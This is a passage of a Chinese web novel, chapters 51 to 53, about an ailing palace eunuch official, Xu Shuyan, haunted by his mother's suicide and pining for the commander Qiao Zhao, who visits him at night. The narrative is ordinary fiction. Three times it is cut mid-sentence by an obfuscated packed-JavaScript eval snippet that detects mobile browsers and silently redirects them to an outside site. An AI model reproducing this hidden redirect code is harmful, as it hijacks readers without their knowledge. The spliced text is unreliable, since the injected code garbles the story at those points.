他面前放着一个铜盆,里面还留着燃烧成灰烬的纸钱。在前面便是牌位,香案,桐油灯。摆在灵堂最中间的是黑色的灵柩,对于小时候的徐纾言来说,棺木大得有些诡异。 道士说里面躺着的是他的父亲,可是小徐纾言去看了一眼觉得并不像。父亲从来都是温和平的,他总把徐纾言抱在膝上,耐心的教他认字。 小徐纾言很难把这个满脸糊着鲜血的人,与父亲相提并论。哪怕是后来下人们将他的脸上凝结的血擦干净,可是他面上痛苦狰狞的表情,也与往日的父亲大相径庭。 这个应该不是他的父亲吧?小徐纾言内心有些疑问。可是连母亲都说这是父亲啊,母亲总不会认错的。 油灯一般不会熄灭。道士说,死者的灵魂会在家里停留七天七夜,直到油尽灯枯,灯灭魂散。 所以哪怕现在灵堂外刮着风,把油灯微弱的火花吹得摇曳不止。但是小小的徐纾言仍然觉得十分温暖。 因为父亲的灵魂会停留七天,他一直都在徐纾言身旁。哪怕是外面刮风下雨,这豆大的火苗,仍然颤颤巍巍的燃烧着。 徐府弥漫着一股死寂。 黑夜里闷雷声阵阵,但是没有下雨,只是狂风四作,把院里的树吹得猎猎作响。 一个穿着白色丧服的女子,迎着风走进了灵堂。 尽管现在已经夜深,但她仍然妆发精致,头发看不出丝毫凌乱。若不是她黑夜中穿着丧服,甚至完全看不出她是身处灵堂。 若是仔细看,能发现徐纾言与这位女子长相有几分相似,尤其是那双凌厉的眸子,简直如出一辙。 “母亲。”小徐纾言转头,看见女子,软软的低声唤道。 小时候的他有些害怕母亲,那个总是面容凌厉,身上带着攻击性的女人。 女人并没有理他,连视线都没有分给孩子半分。她目光平静,笔直的往灵柩走去。纤细白皙的手指,轻轻放在灵柩上,指尖温柔的触碰。 这个纯黑的棺木,做工略显粗糙。放在这样一个宽大的灵堂里,略显局促,十分不搭。仿佛是为了应急,才临时找了一个棺木。 女人温柔的叹息一声,望着棺木,低声说道: “你怎么这样狠心,就把我一人丢在人间,独自离开。难道那些事情,你的那些理想抱负,甚至比我更重要吗?” 她说话很轻,语调稀松平常,带着些抱怨,好像是在跟一个活着的人在交谈。 “你总是这样,面上看着温温和和的,实际上比谁都要倔强,宁为玉碎不为瓦全。你倒是去了天上,可是我呢?我又怎么办呢?” 她自话自说着悲怆的话,但脸上却又挂着笑意,在黑夜种的灵堂里,显得格外诡异。 外面的门闷雷声终于停了,但是又好像在酝酿着更大的惊雷,让人心神不安。 女人絮絮叨叨说了很多,旁若无人的样子,甚至将头轻轻依偎在棺木上,就像是依偎在爱人的怀里。 “母亲。” 小徐纾言想上去拉着母亲的衣摆,但是跪了许久的腿有些麻了,一时间竟然站不起来,只能徒劳的伸了伸手。 黑夜中闪过一抹白光,闪电在一瞬间甚至照亮了整片夜空,也短暂的照亮了昏暗的灵堂。 借着闪电,徐纾言看清楚了母亲脸上挂着的笑容。 释怀、解脱、甚至有即将要见到爱人的娇羞。很复杂,小小年纪的徐纾言看不懂。 但是徐纾言的心突然跳动得很快,不受控制般的心慌,那颗心脏仿佛都快跳出来了。 “还好,我快要来看你了。” 突然乍响的惊雷,震耳欲聋,天地为之一震,也盖住了女人低声的话,徐纾言并没有听清。 “母亲。”小小的徐纾言还在奋力站起来,他想要走到母亲身边,紧紧抓住母亲的手。 天边黑云滚滚,好像又有雷电在云层中聚集。灵堂里的油灯还亮着,闪烁着微弱的烛光。 让徐纾言能够看清母亲投来的眼神,她注视着自己孩子。 温柔的,带着歉意的。 仿佛是一个既定的结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081449|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局,她已经下定决心。临到头想到自己年幼的孩子,又难得的有了一些愧疚。 可是转头面对着躺在棺木里的爱人,天平很偏心的倾斜了。孩子只是两个人爱情的延续,可是爱人都离开了,自己好像也没有了独活的必要。 小小的徐纾言仿佛意识到了什么,他本就聪慧。眼泪控不住的落下来,他一边摇头,一边颤颤巍巍的向母亲走去。 “母亲,母亲,不要……” 身穿白色丧服的女人站直身体,她注视着漆黑的棺木,她的眼泪大颗落下,眼神中带着前所未有的虔诚。 随后猛的撞在棺木上,暗红色的血和漆黑的棺木,诡异中带着凄美。 天边再次白光乍现,徐纾言看清了母亲缓缓闭上的双眼。 “母亲!不要!” 他扑到了母亲身边。 …… 徐纾言猛然睁开双眼。他双目失神,呼吸急促,眼底带着痛苦与恐惧,仿佛还没从刚才的黑夜里缓过神来。 这个梦做了太多年了,次数多得他都有些习惯了。可是醒来的时候还是久久不能回神。 周围的人因为他的睁眼,突然局促。都不敢继续动作,停在那里,安静沉默。 整个屋子陷入难言的安静中。 良久,徐纾言才整理好自己的情绪,轻轻的呼出一口气。 他扫了扫周围,发现自己的床榻面前围满了人。徐纾言眉头一周,凌厉的目光扫过众人。 “出去!”他怒斥道。 才刚张开嘴,便发现自己嗓音沙哑,连说两个字都晓得有些吃力,喉咙刺痛。 “掌印,您突发高热,又一直醒不过来。属下给您唤了大夫,为您治病。” 徐霁在一旁弯腰温声解释道。 刚刚徐纾言一直紧闭着眼,额头上都是冷汗,偏偏又醒不过来,看起来十分痛苦。 把徐霁给吓坏了,他忙叫了府里的大夫前来,又火急火燎得煎了一副中药,喂他喝了,才安静一些。 徐纾言听了他的解释,才勉强闭上双眼,默许了旁人出现在自己寝卧。 见徐纾言没有发怒的症状,那郎中才敢继续给他把脉。 “掌印气血虚,平日又劳心劳神。因此忧思过重,邪毒入体,才发了高热。” 那大夫又小心翼翼的看了眼徐纾言,嘴里的话转了几圈了,又不敢说。 但是作为一位医者,要客观的说出患者的病情。他暗下决心,还是说了出来。 “掌印本就缺少些精气,这么多年又不曾爱护身体。没日没夜的处理公务,积劳成疾,如今身体已经亏空的十分厉害,才会时不时高热难退。” 反正都说了,那大夫心一横,把病情全部说了。 “若长久如此,身体亏空厉害,又不加以调理,十分影响寿元。” 他用词已经很谨慎了。实际上以徐纾言这样亏虚的身体,若是继续这样不加养护,十五年都不一定活得过。 房间里瞬间安静,徐霁徐淮双目对视,不敢说话。 徐纾言躺在床榻上,他没因为大夫的话恼羞成怒,只是缓缓闭上双眼。 半晌,低声道:“你们出去吧。” “是。”众人轻声退出门去。 随着众人退去,屋子里又恢复了空荡荡的,没有人气的样子。屋子里弥漫着死一般的寂静。 良久,屋内传来一声低语,没有什么情绪,毫无意义。 “死了也好,累了。” 51. 第51章 病来如山倒,病去如抽丝。 徐纾言这次生病,来势汹汹,怎么也不见好,甚至病得更加严重。 最开始发高热,后来又开始咳嗽,半夜的时候咳得睡不着觉。再后来他虽然不高热了,但是却断断续续发着低烧。 所以他总是怏怏的,脸上挂着嫣红,没有精力,也不爱讲话 大夫每日都来给徐纾言诊脉,都摇头叹息,得出的结论还是跟之前一样。 “身体亏空太多厉害,伤了元气。” 而且他身子弱,虚不受补,还不能用药效太强的补品。只能吃些温和的东西。 徐霁徐淮这次是真的急了,不再让徐纾言去看那些奏折,害怕他更加耗费心神。 “您可别再看那些折子了,这世上又有什么东西比得过掌印您的身体重要?!” “今日我二人便斗胆做主,把这些折子收起来。日后掌印身体康健,要打要罚,我们都认。只求您能好好修养。” 于是徐纾言难得的闲了下来,躺在床榻上,感到有些空洞。 以前的徐纾言可以处理朝政来充实自己,但是,如果某一天,他不再是司礼监掌印,他要做的事情也不再需要他。 那他的存在似乎就没了意义。 这种空虚是致命的,让徐纾言不断审视自己,是否是一个无用的,没有价值的人。 所以每日暗卫来向他汇报乔昭的事情,成了他一整天最为鲜活,自由的时候。 “乔都尉昨日又去西市,最近她常吃锦芳斋的条头糕。” “乔都尉去了郊外,策马飞奔。” …… 徐纾言每日从暗卫的只言片语中,去勾勒,去想象乔昭的生活。 她无事就骑马闲逛,有时候在中京,有的时候去了郊外。她很喜欢去西市买小摊贩上的东西,还会讲价。她爱吃甜的糯米糕,倒是不太能吃辣。她在路上遇到一些不公平的事,总是会出手帮一帮。 太多太多关于乔昭生活的片段,都散发着昂扬的生命力。她很自由,很放松,像微风轻抚的树叶,迎风舒展,绿油油的。 就是这样一个又一个的小片段,让徐纾言灰暗的生活,能够短暂的拥有一点彩色。他总是一遍又一遍的听着乔昭的事情,乐此不疲。 ………………………… “端走,太苦。”徐纾言喝了两口药,便撇开了头,满脸拒绝。 他今日醒时又发着低烧,现下这碗药是去热的。 “您好歹再喝两口,这药不喝完,便达不到去热的效果。良药苦口,属下准备蜜饯,都是您平日爱吃的,江南特贡。” 徐淮在旁边苦口婆心的劝,这几日他真的是操碎了心。 徐霁在一旁手里拿着蜜饯,中药甚苦,徐纾言每每喝药,都要搭配着蜜饯才能咽下去。 虽然徐淮在旁边絮絮叨叨说了很多,但是徐纾言依然沉默拒绝。 他就这样靠着床榻,眼神向着门外看去,似乎是期待,又或者是其他更加复杂的情绪。 徐霁心思细腻,他眸光微闪,对着徐纾言低声说道:“暗卫大抵下午才会回来。您现下把药喝了,睡一觉,他们便回来了。” 徐纾言听见这话,眼底闪过一丝失落,没说话。随后又闭上双眼,了无生气的样子,没有阳光滋养就会在阴暗处枯萎的植物。 看样子也是不准备喝药了。 徐淮在一旁急得团团转,他又不敢用强的,只能温声的劝,但是徐纾言不想喝就是不想喝。 徐霁见状,又说:“乔都尉日常不爱呆在家里,有空便四处游玩。日后不知哪家公子,有幸和乔都尉在一起,定要有好体魄才跟得上她。” 徐淮看不出来什么,但是徐霁通透敏锐,自然发现了些情感的蛛丝马迹。细细想来,掌印看乔昭的眼神,从来都是不同的。 “你说她干什么?掌印本来就和乔昭不对付,这个时候说她纯膈应人。” 徐淮对情爱这方面完全不了解,所以他觉得徐霁简直莫名其妙。这个时候说些似是而非的话。 徐淮听不懂,但是徐纾言却听得懂。他微闭双眼,但轻颤的睫毛,代表他的心绪并不如表面那般平静。 他又想起乔昭骑在马上,身穿戎装,英姿飒爽,意气风发,她是逐击苍穹的鹰。想必定然不会喜欢那些病歪歪的人。 半晌,徐纾言睁开双眼,有气无力道: “把药端过来。” “好嘞!属下这就去。”徐淮眉开眼笑的,将药端过去,一口一口喂他喝了。 徐霁也缓缓一笑,心想:果然还是乔都尉管用。随后他看着徐纾言苍白的面容,突然又有些笑不出来了。 有些忧愁。 他们这样身份的人,哪怕徐纾言贵为司礼监掌印。但是情之一字,估计也很艰难啊。若是落花有意,流水无情,那可如何是好。 这个中药,不知里面加了什么,苦的要命。徐纾言很艰难才慢慢喝下,徐霁连忙将蜜饯给他递过去。 尽管如此,徐纾言还是蹙着双眉,十分难受的模样。 门口传来敲门的声音,徐纾言忙抬眼往过去,眼中有着连自己都没有发现的细碎亮光。 “属下去看一下。”徐霁起身,转身开门。 随后一个全身穿着黑衣的男子,冷寂严肃,跟在徐霁的身后,一同走了进来。 “属下见过掌印。”他单膝下跪,沉声道。 徐纾言望向他,淡淡道:“起来吧。” 那暗卫站起了身。他也没多犹豫,简洁明了的开始汇报乔昭的事情。 徐纾言就这样靠在床榻上,听着乔昭的事情,感受到内心一点一点的变得充盈起来。 “乔都尉去西市,遇见一管家强行拖走佃户家的儿女,出手相助,两方打了起来。”暗卫一板一眼的描述。 徐纾言语气严肃,道:“那乔昭可有受伤?” “乔都尉胜算很大。”暗卫如实回答道。 “我问得是她有没有受伤!”徐纾言面色沉沉,声音冷硬。 暗卫见他发怒,连忙跪下:“应当是没有的。” “什么叫做应当?不要跟我讲这些模棱两可的说辞,我要确切的答复!” 徐纾言发起火来,很吓人。 他平日里不说话,就已经气势逼人,让人心神不安,不敢去触他的霉头。现下发怒,更是把徐霁徐淮吓成鹌鹑,缩在一旁。 那暗卫跪着,低着头,连忙说道: “乔都尉没有受伤!现场还没有到一发不可收拾的情况,羽林卫便来了人,将闹剧压了下来。” 暗卫抬眼,小心的看了看徐纾言,见他没有别的指示,只能继续说: “这位羽林卫似乎与乔都尉相识,二人将现场的事情处理完以后,便一同离开了。” 空气沉默。 …… “羽林卫?叫什么名字?”徐纾言面色平静问道。 “属下后来去查了此人,是兵部太尉周承远独子,周行亭。现任羽林卫中郎将。”暗卫回答道。 “他和乔昭。” 徐纾言顿了一下,抬眼,一错不错的盯着暗卫,又问:“很熟悉吗?” 暗卫一下子感受到了危险,汗毛竖起,但是他只能实话实说: “颇为熟悉,二人一见面便认出对方,互相打招呼,道好久不见,应该是旧相识。” “且那位中郎将在处理事情上明显偏向乔都尉。二人在事情处理完以后,有说有笑的离开了,看起来像是关系很好。” 他说完以后,屋里安静了下来,徐纾言没讲话,似乎在放空。徐霁徐淮更不敢讲话,站在一旁。暗卫也只能弯腰低头,沉默不语。 一时间屋里寂静得让人心慌。 … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097431|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 颇为熟悉,有说有笑。 乔昭和周行亭怎么会有关系呢? 徐纾言让自己不要慌,要冷静的去分析。但是手指细细的颤抖,却怎么也停不下来。他只能紧紧抓住锦被,不想让下人看出端倪。 “你们都出去。”徐纾言低声道。 “掌印……”徐霁有些犹豫,他明显看出来徐纾言情绪有些不对。 徐纾言凌厉的眼神扫过来:“滚!” “是。”众人沉默,安静的退了出去。 寝卧里瞬间安静下来,但是徐纾言的脑子却乱杂如麻,他强迫要冷静下来,一件一件去理清楚。 乔昭厌恶周承远,这是毋庸置疑的。从五年前她夜闯掌印府,让徐纾言换掉周承远一事就能看出来。 周承远是太后一党的人,昌敬候府在朝廷中立,定然不会与他们走得太近。 这个周行亭是周承远的独子,乔昭知道此事。按她的性格,肯定是不愿意和周行亭走的太近。乔昭应该像当初拒绝他一样,拒绝周行亭才对。 可是为什么…… 为什么乔昭会与周行亭熟识?她应该一开始就对他敬而远之。这不符合乔昭的性格,所以到底是为什么? 徐纾言开始有些头痛,隐隐约约,像是用绵绵的针扎着。喉咙里渐渐有了痒意,开始忍受不住的咳嗽。 他觉得自己忽略了最重要的东西。 忽略了感情。 徐纾言捂住心口,双眸失神,呼吸开始急促起来,隐隐有喘不上气的征兆。 他想,乔昭如今正是风华正茂的年纪,她又和那个周行亭年龄相仿。再加上那个男人,能当上中郎将,除了有个好爹,自身实力并不差。 乔昭对他另眼相看也说得通。乔昭同样如此耀眼,二人少年慕艾也并非没有可能的。 徐纾言越是深思,就越发觉得痛苦。头晕目眩,眼前阵阵发黑。他不愿承认,乔昭真的有喜欢的人了。 徐纾言了解乔昭,他知道乔昭这样谨慎的性子,是不可能不顾身后的昌敬候府的。 所以她与那周行亭,本来就不该有交集。可是乔昭还是与他有说有笑,在西市那样热闹的地方,完全不顾忌世人的眼光。 但是她对自己…… 徐纾言心头的酸涩像潮水一般涌了上来,迅速将他淹没。他轻轻从枕下拿出那根红绸,眼眶开始泛红。 这根红绸还是在肃州时,乔昭在寺庙里求的。他那日不知为何,没有将红绸挂上去,就一直带在身边,从肃州到中京。 他轻轻摩挲红绸,觉得乔昭给自己的东西太少了。 东西也是,感情也是。 她一到中京就急忙与自己撇清关系,生怕被他沾染上半分。她对他,半分感情也没有。甚至她从一开始就与他保持界限。 是因为太喜欢了吗? 太喜欢周行亭了,所以哪怕冒天下之大不韪,也要在一起。 仿佛再也止不住喉间的痒意,他面色苍白,眉头一皱,咳嗽了起来,握着红绸的手轻微颤抖着。 守在门外的徐霁徐淮听见了里面的动静,在外面急得狠热锅上的蚂蚁。 “不管了!我先进去看看。”徐淮眼看着就要冲进去。 徐霁一把拉住他,严肃道:“没有掌印的吩咐,不能擅闯他的寝卧!” “那也要看时候吧!掌印病得这样重!”徐淮想要挣开双手。 徐霁拉住他不放,两人在外面争执起来,眼看都要打起来了。 “来人。”里面突然传来虚弱的声音。 徐霁徐淮二人对视一眼,连忙将门推开,急匆匆走了进去。 徐纾言伏在床榻上,脸上泛着病态的苍白,眼眶红的要命,隐隐有泪光闪过,不知道是咳的,还是别的原因。 他紧紧拽着红绸,涩声道:“乔昭,让乔昭来见我。” 52. 第52章 乔昭刚从华清轩出来,天色已经有些晚了。 她回京这段时间,尽管白日会出门游玩。但快到黄昏时,都会尽量回来,陪宁安郡主用晚膳。 宁安郡主虽然面上仍然平和温柔,对待乔昭一如以前。但是乔昭还是能从细节里发现宁安郡主的异常。 就比如她会时时背着乔昭偷偷的抹眼泪,没有缘由的郁郁寡欢。乔昭出门以后,宁安郡主总是心神不宁,只有等到乔昭回来以后才有心思吃饭。 因此乔昭每日都会回来,去宁安郡主的华清轩,陪她吃一顿晚膳。 现下吃了晚膳,就着黄昏晚霞,落日霞光,乔昭往自己的院里走去。再过几日,大军班师回朝以后,这样清闲的日子就不多了。 乔昭的院子里只有两个洒扫的仆人,暂时还没贴身伺候的人。 所以她在生活上很多的事情都是亲力亲为,不假借他人之手,当然她现在并不习惯他人伺候。毕竟在肃州这几年,可没人贴身照顾她。 乔昭推开自己的房门,顿了一下,抬眼轻扫房内布局,随后又不动声色的走了进去。 她的房间窗明几净,此刻开了半扇窗,夕阳透过窗柩洒在地板上,余晖未尽。 乔昭施施然坐在桌边,骨节分明的手指,轻轻拿起桌上的青瓷云纹茶盏,垂着眼眸,浅啜一口。 屋里一片寂静,甚至寂静得有些诡异。 乔昭轻勾唇角,微微一笑:“阁下何苦做那梁上君子,不如下来与我共饮一杯。” 安静无声。 不等藏身那人说话,乔昭先发夺人。 她面色微沉,目光一凛,抬起手中的茶盏用力向一处掷去。茶盏破空而出,带着千钧之力,帐幔后立即传出一声痛苦的低呼。 乔昭冷笑一声,还真有人敢闯进她的房间,真是不要命了。 她就坦然的坐在那里,纹丝不动。 帐幔后面的人缓缓走了出来,他穿着一身黑色锦袍,衣衽处用金线勾勒出弯月般的尖刀,净军。 那人抬起头来,乔昭轻啧一声:“怎么是你?” “掌印府的人就是这么没有规矩?随随便便闯进别人的府邸。” 徐淮难得的结巴:“我……” 徐淮有点理亏,毕竟擅闯别人的府邸,不是什么光彩事。 尤其是五年前乔昭夜闯掌印府,徐淮后来事事看乔昭不顺眼。现在风水轮流转,他真有些尴尬了。 但是徐淮想到掌印如今生着病,情况危急,犹豫不得半分。于是他直接开门见山的说道: “我是特地来找你的,你现在随我去掌印府。” 乔昭一脸问号,觉得莫名其妙:“理由呢?你让我去我就去吗?” “掌印病了,他让你去看他。”徐淮回答道。 徐纾言病了?乔昭怔了一下。仔细想想,徐纾言真的挺虚弱的,身子不好,经常生病。 她记得徐纾言刚到肃州那会儿就发了高热,还晕倒在她怀里,害乔昭被她爹好一顿骂。后来也总是一副弱不禁风的样子。 不过这似乎与她并没有太大关系吧。 乔昭站起身,走到门口将大门打开,面不改色道: “病了就去找大夫,来找我又有什么用,我又不会治病。” 随后她手一抬,示意徐淮出去:“门在这边,慢走不送。” 乔昭拒绝的意味太明显了,徐淮又不是傻子,自然能明白她的意思。 徐淮有些生气,他腾的走到乔昭身边,握住她的手臂,态度强硬: “掌印病中还能想到你,是看得起你!你今天就是不去也得去!” 乔昭低头,看着徐淮的手掌,沉声道:“放手。” 乔昭大多时候都笑着,大大咧咧的,不把事情放心上,也不爱讲究虚礼。但是这不代表,别人能够真的对她无礼。 徐淮看她沉沉的脸色,有点怂了,忙松开她的手臂。 他还是坚持,道:“你今日必须跟我走,掌印他想见你。” 乔昭转身,向屋内走去,干脆道:“不见。” 她根本没有任何的犹豫,打心底里就不准备去看徐纾言,所以他是生病了或是受伤了,乔昭都不关心。 徐淮沉默,他抿着唇,凝视着乔昭的背影,眼神渐渐暗沉。 突然。 黑色的软鞭,从乔昭耳边掠过,鞭风凌厉,惊动乔昭耳边的碎发。鞭子灵活多变,迅疾如闪电。徐淮一声招呼没打,看样子是准备强行把乔昭绑过去。 乔昭头一偏,迅速往旁边转身。她抬眸,看着徐淮,眼神冰冷,厉色道: “还是我太温和,连你都敢蹬鼻子上脸了!” 言罢,乔昭赤手空拳冲过去,与徐淮缠斗在一起。乔昭的近身战斗,势头很猛,出手又快又狠,完全不给对手任何反击的机会。 徐淮被她打得措手不及,甚至还没有喘息分毫,下一拳又接踵而来,直接打在徐淮脸上,鼻血都给徐淮打出来了。 徐淮一把将鼻血擦掉,很狼狈,但是眼神中透着坚定:“你必须随我去掌印府!” 乔昭没耐心听他说这么多废话,当胸一脚猛踹过去,用了十成力,直接将徐淮踹出门外。 徐淮倒在院子里,动弹不得,完全没有反抗的力气。 她缓缓走过去,抬脚,踩在徐淮的胸膛上:“你擅闯昌敬候府,我本可以直接杀了你。” 随后乔昭微微弯腰,面色冷凌:“不过看在你是掌印府的人,杀了你只会给我惹麻烦。今天就饶你一命。” “立马滚!”乔昭抬脚轻踢,警告道。 这一脚她几乎没用什么力道,但是侮辱性极强。 徐淮捂住胸口,说不出话,他闷咳一声,口腔里都是血腥味儿。 乔昭转身,当着徐淮的面一把将门关上,干净利落。 好一会儿,徐淮才艰难起身,蹒跚的脚步声渐渐消失在院里,徐淮走了。 ………………………… 皓月当空,皎洁月光,洒下光辉。星星犹如细闪钻石,点缀其间。周围的一切都陷入黑暗中,静悄悄的。 非常适合睡觉的夜晚。 但是乔昭难得的失眠了。 她躺在床上,面容平静,闭着双眼,仿佛睡着了一般。但是半晌后,乔昭又猛的睁开双眼,就这样直直的看向黑暗。 眼睛一眨不眨,看起来很专注,实际已经沉入思绪里。 病得很严重吗? 乔昭一闭上眼,不由自主的就想到那个夜晚。山洞里昏暗的光线,他发着高烧,眼尾嫣红,窝在乔昭怀里,双手紧紧拽住乔昭的衣摆,哭得湿漉漉的。 看起来又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122520|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可怜又乖顺。 与平日里嚣张跋扈的模样大相径庭。 上次是受了伤又坠入水里,才生了病。那这次又是为什么呢? 他堂堂司礼监掌印,在府里金尊玉贵的养着,身边还有那么多下人伺候着,就着都能生病?! 也不知道是怎么照顾自己的。 乔昭不由深深地呼出一口气,有些无奈。 “他生病跟你有什么关系?你又不是药引子。不能再想了,睡觉。” 乔昭对着黑夜自言自语,随后闭上双眼,强行给自己催眠。 …… 深夜里除了虫鸣声阵阵,剩下的便是秋风呼啸而过的声音。子时都快过了,中京城连灯笼都已经统一灭掉,只剩下一片黑暗。 所以隐藏在黑暗中的身影,便如来去自如的影子,让人难以发觉。 乔昭穿着一袭黑衣,黑巾覆面,只余一双眸子熠熠生辉。她快速奔走在中京城内,身型如狸猫般矫健,没发出任何声响。 当她站在掌印府的高墙外面,心里想着。 睡不着,出来逛一逛,有什么问题吗? 没问题。 至于为什么逛到了徐纾言的府邸,没人知道,可能只有今晚的月亮知道吧。 乔昭双脚使力,用力一蹬,直接爬上了高墙,随后又快速翻身下来,隐在阴影中。 掌印府还是如五年前一般空空荡荡的,就栽着几棵树,也不是什么名贵的物种。 五年前掌印府的守卫拦不住乔昭。五年后掌印府于乔昭而言,更是轻车熟路,易如反掌。 她遵循着记忆中,徐纾言寝卧的方向走去。掌印府里几乎都熄了灯,除了有一两队侍卫还在巡逻外。 乔昭很仔细,那些护卫完全没发现她。 就这样她来到了徐纾言的寝卧。 她没有进去,就站在房间外面。徐纾言的房里已经灭了灯,她现在进去不符合规矩,而且十分冒昧。 乔昭就在外面站了会儿,站着站着,她突然觉得自己好傻。 深更半夜,偷偷跑到人家寝卧门前站着,穿着一身黑,要是胆子小点的,还以为她是来索命的。 吓死个人了好吧。 …… 她不由勾了勾唇角,嘲笑自己实在有点蠢,准备转身离开。 黑夜中传来咳嗽的声音,在寂静的夜晚中,格外清晰。他好像止不住咳嗽,一声接着一声,感觉快要喘不上来气。 乔昭停住脚步。 一阵窸窸窣窣的动静,徐纾言的房里亮起了灯盏,昏黄的光线,透过窗纸,隐约能看到里面单薄的身影。 徐纾言房间里只有他一人,没有旁的人在夜里伺候。 理智告诉乔昭,现在应该离开这里。如果被人发现她深夜在掌印府里,很难解释清楚。 但是她就是定定站在那里。 下一刻,门扉在深夜里发出“吱呀”一声,被人从里面轻轻打开。 两人的目光在夜空中交汇。 徐纾言脸色苍白,他穿着单薄的寝衣,在瑟瑟的秋风中,略显羸弱。可能是刚才咳嗽的厉害,所以他眼尾泛着红。 他就这样望向乔昭那双明若晨星的眸子,随后缓缓走到她的身前,眼中泪光点点,哽咽道: “乔昭,他们说你不愿意来看我。” 53. 第53章 夜黑如墨,二人四目相对,眼神交缠。 “不是病了吗?怎么穿得这样单薄就出来。”乔昭语气温和,仿佛最开始拒绝的人不是她。 徐纾言方才还泪光盈盈,可当真站到乔昭身边,让他满脸泪痕的狼狈样子,他又觉得自己太弱势,未免让对方轻视了自己。 他没有立即回复乔昭的问题。而是撇开眼,与乔昭错开视线。又垂眸,整理好自己眼中的情绪。 几息之后,徐纾言尽量用同样平和的语气回道:“睡不着,出来赏秋月。你呢?” 夜空中明月皎皎,犹如一轮玉盘。乔昭抬头,看着天上圆月,叹道: “今晚的月色确实挺美的。” 乔昭避重就轻的回答,她明明知道徐纾言想要听的是后面一句,可是她偏偏只提月色。 很明显,徐纾言并不满意乔昭的回答。 他坐在司礼监掌印这个位置,坐习惯了。没人敢忤逆他说的话,更没人敢对他说一些似是而非,模棱两可的说辞。 所以他又在乔昭面前,不由自主的摆起了司礼监掌印的架子。 他直视乔昭,带着一丝逼问,语气有些冷硬:“我问,你为什么在这里?” 他的眼神,就这样静静凝视着乔昭,仿佛翻涌着无数的情绪,又死死压制住,最后只剩下了平静。 徐纾言等待着乔昭的问答,他很直白的问。 乔昭,你为什么会在这里? 为什么会在这里呢?或许乔昭自己都说不明白。 明明已经拒绝了,说过不会来的。乔昭做选择,从一开始就会想明白其中的利害关系,从中选出最优解,所以她几乎从不更改自己的决定。 拒绝,才是最佳选择。偷偷摸进徐纾言的府邸,若是被有心人发现,只会给自己带来无穷无尽的麻烦。 乔昭想不明白,也不想去明白。 她微微一笑,轻声道:“掌印病了,还是回屋里去吧。外面更深露重,若是为了贪看月色,着了凉,岂不是得不偿失。” 乔昭这些礼貌又得体的话语,张嘴就来。别人听着觉得宽慰,但徐纾言知道乔昭这是在敷衍。 她不愿意正面回答的时候,就爱说这些敷衍的话来逃避! 徐纾言听着乔昭这些冠冕堂皇的话,血气迅速上涌,他努力压抑中内心翻腾的情绪,还是被气笑了: “乔昭,你少拿那些好听的话来搪塞我!” “我看个屁的月色!你不是说不愿意见我吗?那你现在为什么站在这里?乔都尉如此出尔反尔,真是咱家大开眼界。” 他很生气,语调有些尖利,说着些尖酸刻薄的话。而且他又生着病,脸色苍白,嘴唇却透着嫣红,明显还在发热。 乔昭沉默,收了笑意,眼神变得有些冷漠。她不笑的时候总显得有些疏离。 两个人就这样对峙着,犹如针尖对麦芒,针锋相对,互不相让,气氛变得有些压抑。 深夜的秋风呼啸而过,带着凉意。徐纾言穿的又单薄,站在院里。萧瑟秋风一吹,让他忍不住喉间的痒意,徐纾言捂住唇,垂首闷声咳嗽起来。 看着他咳得那样凶,仿佛要把心肺咳出来。刚刚还冷硬尖锐的司礼监掌印,现在就脆弱得仿佛一折就断。 乔昭慢慢软了神色,她觉得今晚上自己真的很蠢,本来半夜跑到人家的寝卧面前就已经十分失礼。 现下还跟一个生病的人,在瑟瑟寒风中吵架。 她脑子也不正常了。 …… 两个人之间紧张的氛围缓缓消散。 她上前一步,轻抚徐纾言清瘦的脊背,让他慢慢缓气。看他好了一些,咳得不那么厉害。 乔昭一边拉着徐纾言的手,往里屋走去,一边冷淡说道:“夜深了风凉,再大的事情回屋再说。” 徐纾言刚才咳嗽得厉害,本来苍白的脸因为喘不上气,透着粉色,艳若桃李。 他低头看着两人交握的手,有些恍惚。乔昭的手掌从来都是温暖有力的,就像她这个人一样,意气风发。不像他的手,一到了夜里就冰凉,透着冷意。 徐纾言突然有些瑟缩,他想自己这样冰的手,被乔昭握着,她定然是不舒适的。所有人都向往温暖热烈,没人喜欢把一块冰握在手里。 他微微动了一下,想抽回自己的手。乔昭侧目望他一眼,用力更紧的握住徐纾言的手,沉声道: “别闹,先回屋添件衣服。” 徐纾言怔了一下,低垂着眼睫,不再动了,就这样乖顺的被她牵着。 两人一进屋,乔昭就把门关上。现在是秋天,夜里确实降温,但是没了风吹又好了很多。 她将徐纾言待到床榻面前。 “躺着。”乔昭简洁明了说道。 